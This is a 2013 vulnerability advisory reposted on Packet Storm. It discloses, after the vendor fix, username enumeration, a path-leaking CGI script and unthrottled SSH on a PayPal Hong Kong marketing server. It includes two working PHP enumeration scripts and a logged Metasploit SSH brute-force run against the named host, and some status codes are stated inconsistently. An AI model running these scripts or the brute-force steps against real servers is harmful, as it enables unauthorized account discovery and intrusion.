PayPal Enumeration / Information Disclosure

2013-06-28T00:00:00
ID PACKETSTORM:122207
Type packetstorm
Reporter Karim H.B.
Modified 2013-06-28T00:00:00

Description

                                        
                                            `Title:  
======  
PayPal Bug Bounty MKT HK #63 - Multiple Vulnerabilities  
  
  
Date:  
=====  
2013-06-26  
  
  
References:  
===========  
http://www.vulnerability-lab.com/get_content.php?id=852  
  
PayPal Security UID: EIbecaC  
  
  
VL-ID:  
=====  
852  
  
  
Common Vulnerability Scoring System:  
====================================  
2.9  
  
  
Introduction:  
=============  
PayPal is a global e-commerce business allowing payments and money transfers to be made through the Internet. Online money  
transfers serve as electronic alternatives to paying with traditional paper methods, such as checks and money orders. Originally,  
a PayPal account could be funded with an electronic debit from a bank account or by a credit card at the payer s choice. But some  
time in 2010 or early 2011, PayPal began to require a verified bank account after the account holder exceeded a predetermined  
spending limit. After that point, PayPal will attempt to take funds for a purchase from funding sources according to a specified  
funding hierarchy. If you set one of the funding sources as Primary, it will default to that, within that level of the hierarchy  
(for example, if your credit card ending in 4567 is set as the Primary over 1234, it will still attempt to pay money out of your  
PayPal balance, before it attempts to charge your credit card). The funding hierarchy is a balance in the PayPal account; a  
PayPal credit account, PayPal Extras, PayPal SmartConnect, PayPal Extras Master Card or Bill Me Later (if selected as primary  
funding source) (It can bypass the Balance); a verified bank account; other funding sources, such as non-PayPal credit cards.  
The recipient of a PayPal transfer can either request a check from PayPal, establish their own PayPal deposit account or request  
a transfer to their bank account.  
  
PayPal is an acquirer, performing payment processing for online vendors, auction sites, and other commercial users, for which it  
charges a fee. It may also charge a fee for receiving money, proportional to the amount received. The fees depend on the currency  
used, the payment option used, the country of the sender, the country of the recipient, the amount sent and the recipient s account  
type. In addition, eBay purchases made by credit card through PayPal may incur extra fees if the buyer and seller use different currencies.  
  
On October 3, 2002, PayPal became a wholly owned subsidiary of eBay. Its corporate headquarters are in San Jose, California, United  
States at eBay s North First Street satellite office campus. The company also has significant operations in Omaha, Nebraska, Scottsdale,  
Arizona, and Austin, Texas, in the United States, Chennai, Dublin, Kleinmachnow (near Berlin) and Tel Aviv. As of July 2007, across  
Europe, PayPal also operates as a Luxembourg-based bank.  
  
On March 17, 2010, PayPal entered into an agreement with China UnionPay (CUP), China s bankcard association, to allow Chinese consumers  
to use PayPal to shop online.PayPal is planning to expand its workforce in Asia to 2,000 by the end of the year 2010.  
Between December 4ñ9, 2010, PayPal services were attacked in a series of denial-of-service attacks organized by Anonymous in retaliation  
for PayPal s decision to freeze the account of WikiLeaks citing terms of use violations over the publication of leaked US diplomatic cables.  
  
(Copy of the Homepage: www.paypal.com) [http://en.wikipedia.org/wiki/PayPal]  
  
  
Abstract:  
=========  
The Vulnerability Laboratory Research Team discovered multiple vulnerabilities in the official PayPal Inc Marketing service application system.  
  
  
Report-Timeline:  
================  
2013-02-03: Researcher Notification & Coordination (Karim Boudra)  
2013-02-05: Vendor Notification (PayPal Inc Security Incident Team - Bug Bounty Program)  
2013-03-12: Vendor Response/Feedback (PayPal Inc Security Incident Team - Bug Bounty Program)  
2013-05-24: Vendor Fix/Patch (PayPal Inc Developer Team - Bug Bounty Program Reward)  
2013-06-26: Public Disclosure (Vulnerability Laboratory)  
  
  
Status:  
========  
Published  
  
  
Affected Products:  
==================  
PayPal Inc  
Product: Marketing Application & Service (HK) 2013 Q1  
  
  
Exploitation-Technique:  
=======================  
Remote  
  
  
Severity:  
=========  
Medium  
  
  
Details:  
========  
While analysing www.paypal-marketing.com.hk Server ,we had identified the following vulnerabilities ...  
  
  
1) Apache username enumeration  
The scope of this vulnerability is to verify if it is possible to collect a set of valid apache usernames by interacting with a apache feature.  
This test will be useful for the SSH brute force testing, in which we verify if, given a valid username, it is possible to find the corresponding   
password. Often, CPANEL reveal when a username exists on Apache, either as a consequence of a misconfiguration or as a design decision.  
  
For example, when we request a wrong username, we receive an HTTP Response message that states that either the username is present on the system or not.  
The information obtained can be used by an attacker to gain a list of valid users on Apache. This information can be used to attack the SSH Service,   
for example, through a brute force using default password attack.  
  
Testing via example  
  
In a black box testing, we know nothing about the specific username, error messages on apache server. If the apache server is vulnerable, we   
receive a response message that reveals, directly or indirectly, some information useful for enumerating users.  
  
For example ...  
https://www.paypal-marketing.com.hk/~root - we receive from web server: 403 Forbidden  
https://www.paypal-marketing.com.hk/~vulnerabilitylab - we receive from web server: 302 Found  
https://www.paypal-marketing.com.hk/~operator - we receive from web server: 403 Forbidden  
  
As we can see above, when we provide a username to apache server, we see a message indication that an error has occurred in the URL. In the first   
case we has provided a valid username ,In the second a invalid username,In the third a valid username .  
  
In first case the user exists, but we cannot view the web page, in second case instead the user `vulnerabilitylab` doesn’t exist the server redirect   
our browser to `https://www.paypal-marketing.com.hk/en/business/merchant-solutions.php` ,Collecting this information we can enumerate the users.  
  
Let us analyze the Web page Titles:  
  
We can receive useful information on Title of web page, where we can obtain a specific error code or messages that reveal if the problems are on   
username or password. For instance, if the request username doesn`t exist whose title is similar to:  
  
Invalid user : we receive <title>302 Forbidden</title>  
Valid user : we receive <title>403 Forbidden</title> or <title>200 Forbidden</title>  
  
So After tests, we was able to identify if a given username is valid or not .  
  
In the above sample we can create simple script that used a username wordlist and submit a request with HTTPS packets to automate a web query to   
discern valid usernames. To create a script we can also use PHP and openssl. Other possibilities are: - username associated with credit card numbers,   
username associated to hidden vulnerable application, or in general numbers with a pattern. - userIDs associated with real names, e.g. if Freddie   
Mercury has a username of `fmercury`, then you might guess Roger Taylor to have the userID of `rtaylor`.  
  
Again, we can guess a username from from Google information gathering, for example, from a specific domain. Google can help to find domain users   
through specific queries or through a simple shell script or tool.  
  
  
  
2) CGI Script Information Leak (Information Disclosure & System usernames enumeration)  
  
The vulnerability is a weakness in an CGI script (frequently a broken or missing control) that enables an attack to succeed.  
and it is located on :  
  
HOST : https://www.paypal-marketing.com.hk  
FILE : /cgi-sys/entropysearch.cgi?user={username}  
Vulnerable Parameters : user  
  
The scope of this vulnerability is to enumerate a list of system usernames & gathering information such as PATHFOLDER for a given username  
  
https://www.paypal-marketing.com.hk/cgi-sys/entropysearch.cgi?user={username}  
  
As you can see above if we replace username by valid username ,we get a not null PATH FOLDER value for :  
  
1- in the case of username is equal to `root`, we receive the following message :  
Could not chdir into /root/: Permission denied  
  
2- in the case of username is equal to ``operator``, we receive following message :  
Could not chdir into /var/spool/mqueue/.htmltemplates: Permission denied  
  
3- in case of username doesn`t exist like ``vulnerability``  
Could not chdir into /.htmltemplates: No such file or directory  
  
it was easy to collect path folder  
- using regular expression `#Could not chdir into (.*?)/.htmltemplates:#  
- using string splitting (see the POC2)  
  
This exploitation can be used to enumerate many informations like (System usernames,PATH folder,installed Products & services)  
  
to exploit this vulnerability ,we created simple script that used a username wordlist and submit a request with HTTPS packets to   
automate a web query to discern valid usernames. The test script is coded on PHP and requires openssl.  
  
After execution of our POC2 :  
  
root@bt:~/paypalbugbounty/1337l33t# ls  
allusernames.txt PATH@POC@Disclosure.txt  
root@bt:~/paypalbugbounty/1337l33t# php PATH/@POC/@Disclosure.txt  
root:/root  
daemon:/sbin  
bin:/bin  
adm:/var/adm  
shutdown:/sbin  
sync:/sbin  
games:/usr/games  
lp:/var/spool/lpd  
mail:/var/spool/mail  
news:/etc/news  
uucp:/var/spool/uucp  
sshd:/var/empty/sshd  
nobody:/  
mysql:/var/lib/mysql  
apache:/var/www  
pcap:/var/arpwatch  
xfs:/etc/X11/fs  
  
As you can see above if we replace username by valid username ,we get a not null PATH FOLDER value for :  
Here the list of collected usefull Information:  
  
Usernames: root,daemon,bin,adm,shutdown,sync,games,lp,mail,news,uucp,sshd,nobody,mysql,apache,pcap,xfs  
Installed products: apache,mysql,x11,arpwatch,sshd  
  
  
3) SSH SERVER is vulnerable to Bruteforce Threads (Misconfiguration)  
  
SSH (Secure Socket Shell) is a secure remote access protocol.  
Multiple connection attempts from the same source address to the same destination address in a short amount of time are a sign   
of a brute force attempt. A remote attacker may be using an automated program to attempt to guess the login credentials and gain   
access to the victim`s system.  
  
The scope of this advisory is to verify if it is possible to collect a set of valid system usernames by interacting with a cpanel feature.  
This test will be useful for the SSH brute force testing, in which we verify if, given a valid username, it is possible to find the   
corresponding password. Often, CPANEL reveal when a username exists on system, either as a consequence of a misconfiguration or as a   
design decision.  
  
For example, when we request a wrong username, we receive an HTTP Response message that states that either the username is present on   
the system or not. The information obtained can be used by an attacker to gain a list of valid users on system.  
This information can be used to attack the SSH Service, for example, through a brute force using default password attack.  
  
  
Proof of Concept:  
=================  
1) POC for Apache username enumeration  
  
<?php  
error_reporting(0);  
// Paypal Apache username ennumeration on HTTPS://www.paypal-marketing.com.hk with SSH enabled  
// Require activation of openssl module on php.ini  
  
$HOST="www.paypal-marketing.com.hk";  
$PARENTPATH="/~";  
  
$list=file("allusernames.txt");  
foreach ($list as $user) {  
$user=trim($user);  
$PATH=$PARENTPATH.$user;  
  
$data=user_exist($user);  
if (@preg_match("#403 Forbidden#", $data) or @preg_match("#200 Found#", $data)) {  
echo "[".$user."] - Account Found \n";  
}  
}  
function user_exist($username){  
$result=Connect();  
return $result;  
}  
  
  
function Connect(){  
global $PATH,$HOST;  
$fp = fsockopen("ssl://".$HOST,443,$errno,$errstr,30);  
$resultat="";  
if(!$fp) {die("Error cnx");} else {  
$out = "GET ".$PATH." HTTP/1.1\r\n";  
$out .= "Host: ".$HOST."\r\n";  
$out .="User-Agent=:Mozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.9.2.24) Gecko/20111103 Firefox/3.6.24\r\n";  
$out .="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";  
  
//fputs($fp, "Content-type: application/x-www-form-urlencoded\r\n");  
//fputs($fp, "Content-length: ".strlen($postdata)."\r\n");  
$out.="Connection: close\r\n\r\n";  
//if(isset($COOKIES)){$out.="Cookie: $cookies\r\n";}  
//fputs($fp, $postdata."\r\n\r\n");  
fwrite($fp, $out);  
  
  
while(!feof($fp))  
$resultat .= fgets($fp,4096);  
fclose($fp);  
}  
return $resultat;   
  
}  
  
?>  
  
2) POC CGI Script Information Leak (Information Disclosure & System usernames enumeration).  
  
<?php  
error_reporting(0);  
// Paypal user ennumeration on https://www.paypal-marketing.com.hk/cgi-sys/entropysearch.cgi?user=root  
// require activation of openssl module on php.ini  
  
$HOST="www.paypal-marketing.com.hk";  
$PARENTPATH="/cgi-sys/entropysearch.cgi?user=";  
  
$list=file("allusernames.txt");  
  
foreach ($list as $user) {  
  
$PATH= $PARENTPATH.trim($user);  
$data=user_exist($user);  
$data=explode('Could not chdir into ',$data);  
$data=explode('/.htmltemplates',$data[1]);  
$data=$data[0];  
if($data != null){  
echo trim($user).":".$data."\n";  
}  
}  
function user_exist($username){  
$result=Connect();  
return $result;  
}  
  
  
function Connect(){  
global $PATH,$HOST;  
$fp = fsockopen("ssl://".$HOST,443,$errno,$errstr,30);  
$resultat="";  
if(!$fp) {die("Error cnx");} else {  
$out = "GET ".$PATH." HTTP/1.1\r\n";  
$out .= "Host: ".$HOST."\r\n";  
$out .="User-Agent=:Mozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.9.2.24) Gecko/20111103 Firefox/3.6.24\r\n";  
$out .="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";  
  
//fputs($fp, "Content-type: application/x-www-form-urlencoded\r\n");  
//fputs($fp, "Content-length: ".strlen($postdata)."\r\n");  
$out.="Connection: close\r\n\r\n";  
//if(isset($COOKIES)){$out.="Cookie: $cookies\r\n";}  
//fputs($fp, $postdata."\r\n\r\n");  
fwrite($fp, $out);  
  
  
while(!feof($fp))  
$resultat .= fgets($fp,4096);  
fclose($fp);  
}  
return $resultat;   
  
}  
  
?>  
  
  
3) In order to automate our SSH attempts we used a framework against the ssh_login module  
  
We defined:  
"ftp://ftp.cerias.purdue.edu/pub/dict/wordlists/computer/common-passwords.txt.gz" as Password wordlist  
"paypalusers.txt" (contains enumerated usernames from the first vulnerability) as username wordlist in   
order to optimize our SSH bruteforce attack ...  
  
  
zer0pool > use auxiliary/scanner/ssh/ssh_login  
zer0pool auxiliary(ssh_login) > set THREADS 24  
THREADS => 24  
zer0pool auxiliary(ssh_login) > set RPORT 22  
RPORT => 22  
zer0pool auxiliary(ssh_login) > set VERBOSE 1  
VERBOSE => 1  
zer0pool auxiliary(ssh_login) > set USER_AS_PASS 1  
USER_AS_PASS => 1  
zer0pool auxiliary(ssh_login) > set STOP_ON_SUCCESS 0  
STOP_ON_SUCCESS => 0  
zer0pool auxiliary(ssh_login) > set BRUTEFORCE_SPEED 5  
BRUTEFORCE_SPEED => 5  
zer0pool auxiliary(ssh_login) > set PASS_FILE /pentest/passwords/wordlists/common-passwords.txt  
PASS_FILE => /pentest/passwords/wordlists/common-passwords.txt  
zer0pool auxiliary(ssh_login) > set USER_FILE /root/paypalusers.txt  
USER_FILE => /root/paypalusers.txt  
zer0pool auxiliary(ssh_login) > set RHOSTS www.paypal-marketing.com.hk  
RHOSTS => www.paypal-marketing.com.hk  
zer0pool auxiliary(ssh_login) > set BLANK_PASSWORDS 1  
BLANK_PASSWORDS => 1  
zer0pool auxiliary(ssh_login) > run -j  
[*] Auxiliary module running as background job  
[*] 122.201.98.21:22 SSH - Starting bruteforce  
[*] 122.201.98.21:22 SSH - [0001/2449] - Trying: username: 'root' with password: ''  
[-] 122.201.98.21:22 SSH - [0001/2449] - Failed: 'root':''  
[*] 122.201.98.21:22 SSH - [0002/2449] - Trying: username: 'operator' with password: ''  
[-] 122.201.98.21:22 SSH - [0002/2449] - Failed: 'operator':''  
[*] 122.201.98.21:22 SSH - [0003/2449] - Trying: username: 'mailnull' with password: ''  
[-] 122.201.98.21:22 SSH - [0003/2449] - Failed: 'mailnull':''  
[*] 122.201.98.21:22 SSH - [0004/2449] - Trying: username: 'root' with password: 'root'  
[-] 122.201.98.21:22 SSH - [0004/2449] - Failed: 'root':'root'  
[*] 122.201.98.21:22 SSH - [0005/2449] - Trying: username: 'operator' with password: 'operator'  
  
After somes thousend attempts ,we noticed that SSH server had no restriction for blocking ours brute force threats.  
We also now after the attack the access without ssh keys should be possible.  
  
  
Solution:  
=========  
2013-05-24: Vendor Fix/Patch (PayPal Inc Developer Team - Bug Bounty Program Reward)  
  
  
Risk:  
=====  
The security risk of 2 discovered vulnerabilities and 1 misconfiguration is estimated as medium.  
  
  
Credits:  
========  
Vulnerability Laboratory [Research Team] - Karim Boudra (kami@vulnerability-lab.com)  
  
  
Disclaimer:  
===========  
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties,   
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-  
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business   
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some   
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation   
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases   
or trade with fraud/stolen material.  
  
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.vulnerability-lab.com/register  
Contact: admin@vulnerability-lab.com - support@vulnerability-lab.com - research@vulnerability-lab.com  
Section: video.vulnerability-lab.com - forum.vulnerability-lab.com - news.vulnerability-lab.com  
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab  
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php  
  
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.   
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other   
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and   
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed),   
modify, use or edit our material contact (admin@vulnerability-lab.com or support@vulnerability-lab.com) to get a permission.  
  
Copyright © 2013 | Vulnerability Laboratory  
  
  
  
--   
VULNERABILITY LABORATORY RESEARCH TEAM  
DOMAIN: www.vulnerability-lab.com  
CONTACT: research@vulnerability-lab.com  
  
`